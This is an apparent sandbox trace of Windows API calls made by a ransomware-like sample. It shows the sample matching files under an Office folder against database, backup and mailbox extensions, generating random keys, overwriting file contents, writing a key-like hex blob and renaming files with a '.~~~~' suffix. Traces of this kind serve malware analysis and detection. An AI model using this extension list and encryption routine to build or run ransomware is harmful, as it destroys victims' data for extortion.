	[0136.275] lstrlenW (lpString=".FDB") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".FDB") returned 0x0
	[0136.275] lstrlenW (lpString=".EDB") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".EDB") returned 0x0
	[0136.275] lstrlenW (lpString=".DACPAC") returned 7
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DACPAC") returned 0x0
	[0136.275] lstrlenW (lpString=".VHD") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".VHD") returned 0x0
	[0136.275] lstrlenW (lpString=".DBV") returned 4
	[0136.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DBV") returned 0x0
	[0136.275] lstrlenW (lpString=".dacpac") returned 7
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dacpac") returned 0x0
	[0136.276] lstrlenW (lpString=".sdf") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".sdf") returned 0x0
	[0136.276] lstrlenW (lpString=".accdb") returned 6
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".accdb") returned 0x0
	[0136.276] lstrlenW (lpString=".DBX") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DBX") returned 0x0
	[0136.276] lstrlenW (lpString=".MDT") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".MDT") returned 0x0
	[0136.276] lstrlenW (lpString=".SQB") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".SQB") returned 0x0
	[0136.276] lstrlenW (lpString=".vhd") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".vhd") returned 0x0
	[0136.276] lstrlenW (lpString=".bac") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".bac") returned 0x0
	[0136.276] lstrlenW (lpString=".mdf") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".mdf") returned 0x0
	[0136.276] lstrlenW (lpString=".BAK") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".BAK") returned 0x0
	[0136.276] lstrlenW (lpString=".BAC") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".BAC") returned 0x0
	[0136.276] lstrlenW (lpString=".dbs") returned 4
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dbs") returned 0x0
	[0136.276] lstrlenW (lpString=".vhdx") returned 5
	[0136.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".vhdx") returned 0x0
	[0136.277] lstrlenW (lpString=".NDF") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".NDF") returned 0x0
	[0136.277] lstrlenW (lpString=".dat") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dat") returned 0x0
	[0136.277] lstrlenW (lpString=".DBS") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DBS") returned 0x0
	[0136.277] lstrlenW (lpString=".CKP") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".CKP") returned 0x0
	[0136.277] lstrlenW (lpString=".edb") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".edb") returned 0x0
	[0136.277] lstrlenW (lpString=".PST") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".PST") returned 0x0
	[0136.277] lstrlenW (lpString=".dbf") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dbf") returned 0x0
	[0136.277] lstrlenW (lpString=".SQL") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".SQL") returned 0x0
	[0136.277] lstrlenW (lpString=".pst") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".pst") returned 0x0
	[0136.277] lstrlenW (lpString=".dbv") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dbv") returned 0x0
	[0136.277] lstrlenW (lpString=".SDF") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".SDF") returned 0x0
	[0136.277] lstrlenW (lpString=".dtxs") returned 5
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dtxs") returned 0x0
	[0136.277] lstrlenW (lpString=".db3") returned 4
	[0136.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".db3") returned 0x0
	[0136.277] lstrlenW (lpString=".OST") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".OST") returned 0x0
	[0136.278] lstrlenW (lpString=".dbx") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dbx") returned 0x0
	[0136.278] lstrlenW (lpString=".DB3") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DB3") returned 0x0
	[0136.278] lstrlenW (lpString=".DAT") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DAT") returned 0x0
	[0136.278] lstrlenW (lpString=".VHDX") returned 5
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".VHDX") returned 0x0
	[0136.278] lstrlenW (lpString=".ndf") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".ndf") returned 0x0
	[0136.278] lstrlenW (lpString=".DB") returned 3
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DB") returned 0x0
	[0136.278] lstrlenW (lpString=".sql") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".sql") returned 0x0
	[0136.278] lstrlenW (lpString=".MYD") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".MYD") returned 0x0
	[0136.278] lstrlenW (lpString=".DBT") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DBT") returned 0x0
	[0136.278] lstrlenW (lpString=".ACCDB") returned 6
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".ACCDB") returned 0x0
	[0136.278] lstrlenW (lpString=".fdb") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".fdb") returned 0x0
	[0136.278] lstrlenW (lpString=".bak") returned 4
	[0136.278] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".bak") returned 0x0
	[0136.278] lstrlenW (lpString=".myd") returned 4
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".myd") returned 0x0
	[0136.279] lstrlenW (lpString=".DTXS") returned 5
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".DTXS") returned 0x0
	[0136.279] lstrlenW (lpString=".ckp") returned 4
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".ckp") returned 0x0
	[0136.279] lstrlenW (lpString=".dbt") returned 4
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".dbt") returned 0x0
	[0136.279] lstrlenW (lpString=".db") returned 3
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".db") returned 0x0
	[0136.279] lstrlenW (lpString=".TXT") returned 4
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".TXT") returned 0x0
	[0136.279] lstrlenW (lpString=".MDF") returned 4
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".MDF") returned 0x0
	[0136.279] lstrlenW (lpString=".bdb") returned 4
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".bdb") returned 0x0
	[0136.279] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0136.279] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0136.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0136.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0136.279] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3949f8) returned 1
	[0136.281] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0136.281] CryptReleaseContext (hProv=0x3949f8, dwFlags=0x0) returned 1
	[0136.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0136.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0136.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0136.281] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25627329926) returned 1
	[0136.283] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xbaac4c70, dwHighDateTime=0x1d60e1e)) 
	[0136.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0136.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0136.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0136.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825390
	[0136.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0136.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825390 | out: hHeap=0x300000) returned 1
	[0136.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0136.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0136.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ce2d8
	[0136.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0136.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8858
	[0136.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ce2d8 | out: hHeap=0x300000) returned 1
	[0136.284] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0136.284] GetLastError () returned 0x0
	[0136.285] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0136.285] GetLastError () returned 0x0
	[0136.288] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0136.289] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0136.290] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0136.291] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0136.291] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0136.546] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0136.546] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0136.547] CloseHandle (hObject=0x140) returned 1
	[0136.547] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5a98
	[0136.547] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.~~~~")) returned 1
	[0136.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5a98 | out: hHeap=0x300000) returned 1
	[0136.550] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0136.550] GetLastError () returned 0x0
	[0136.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".scr") returned 0x0
	[0136.551] lstrlenW (lpString=".cmd") returned 4
	[0136.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".cmd") returned 0x0
	[0136.551] lstrlenW (lpString=".dll") returned 4
	[0136.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dll") returned 0x0
	[0136.551] lstrlenW (lpString=".bat") returned 4
	[0136.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".bat") returned 0x0
	[0136.551] lstrlenW (lpString=".cpl") returned 4
	[0136.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".cpl") returned 0x0
	[0136.551] lstrlenW (lpString=".sys") returned 4
	[0136.551] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".sys") returned 0x0
	[0136.551] lstrlenW (lpString=".msc") returned 4
	[0136.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".msc") returned 0x0
	[0136.552] lstrlenW (lpString=".com") returned 4
	[0136.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".com") returned 0x0
	[0136.552] lstrlenW (lpString=".lnk") returned 4
	[0136.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".lnk") returned 0x0
	[0136.552] lstrlenW (lpString=".msp") returned 4
	[0136.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".msp") returned 0x0
	[0136.552] lstrlenW (lpString=".pif") returned 4
	[0136.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".pif") returned 0x0
	[0136.552] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0136.552] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch="msp\r\n.pif") returned 0x0
	[0136.552] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0136.554] lstrlenW (lpString=".sqb") returned 4
	[0136.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".sqb") returned 0x0
	[0136.554] lstrlenW (lpString=".ost") returned 4
	[0136.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".ost") returned 0x0
	[0136.554] lstrlenW (lpString=".txt") returned 4
	[0136.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".txt") returned 0x0
	[0136.554] lstrlenW (lpString=".mdt") returned 4
	[0136.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".mdt") returned 0x0
	[0136.554] lstrlenW (lpString=".BDB") returned 4
	[0136.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".BDB") returned 0x0
	[0136.554] lstrlenW (lpString=".eql") returned 4
	[0136.554] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".eql") returned 0x0
	[0136.555] lstrlenW (lpString=".DBF") returned 4
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DBF") returned 0x0
	[0136.555] lstrlenW (lpString=".EQL") returned 4
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".EQL") returned 0x0
	[0136.555] lstrlenW (lpString=".FDB") returned 4
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".FDB") returned 0x0
	[0136.555] lstrlenW (lpString=".EDB") returned 4
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".EDB") returned 0x0
	[0136.555] lstrlenW (lpString=".DACPAC") returned 7
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DACPAC") returned 0x0
	[0136.555] lstrlenW (lpString=".VHD") returned 4
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".VHD") returned 0x0
	[0136.555] lstrlenW (lpString=".DBV") returned 4
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DBV") returned 0x0
	[0136.555] lstrlenW (lpString=".dacpac") returned 7
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dacpac") returned 0x0
	[0136.555] lstrlenW (lpString=".sdf") returned 4
	[0136.555] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".sdf") returned 0x0
	[0136.555] lstrlenW (lpString=".accdb") returned 6
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".accdb") returned 0x0
	[0136.556] lstrlenW (lpString=".DBX") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DBX") returned 0x0
	[0136.556] lstrlenW (lpString=".MDT") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".MDT") returned 0x0
	[0136.556] lstrlenW (lpString=".SQB") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".SQB") returned 0x0
	[0136.556] lstrlenW (lpString=".vhd") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".vhd") returned 0x0
	[0136.556] lstrlenW (lpString=".bac") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".bac") returned 0x0
	[0136.556] lstrlenW (lpString=".mdf") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".mdf") returned 0x0
	[0136.556] lstrlenW (lpString=".BAK") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".BAK") returned 0x0
	[0136.556] lstrlenW (lpString=".BAC") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".BAC") returned 0x0
	[0136.556] lstrlenW (lpString=".dbs") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dbs") returned 0x0
	[0136.556] lstrlenW (lpString=".vhdx") returned 5
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".vhdx") returned 0x0
	[0136.556] lstrlenW (lpString=".NDF") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".NDF") returned 0x0
	[0136.556] lstrlenW (lpString=".dat") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dat") returned 0x0
	[0136.556] lstrlenW (lpString=".DBS") returned 4
	[0136.556] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".DBS") returned 0x0
	[0136.556] lstrlenW (lpString=".CKP") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".CKP") returned 0x0
	[0136.557] lstrlenW (lpString=".edb") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".edb") returned 0x0
	[0136.557] lstrlenW (lpString=".PST") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".PST") returned 0x0
	[0136.557] lstrlenW (lpString=".dbf") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dbf") returned 0x0
	[0136.557] lstrlenW (lpString=".SQL") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".SQL") returned 0x0
	[0136.557] lstrlenW (lpString=".pst") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".pst") returned 0x0
	[0136.557] lstrlenW (lpString=".dbv") returned 4
	[0136.557] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_K_COL.HXK", lpSrch=".dbv") returned 0x0
	[0136.557] lstrlenW (lpString=".SDF") returned 4
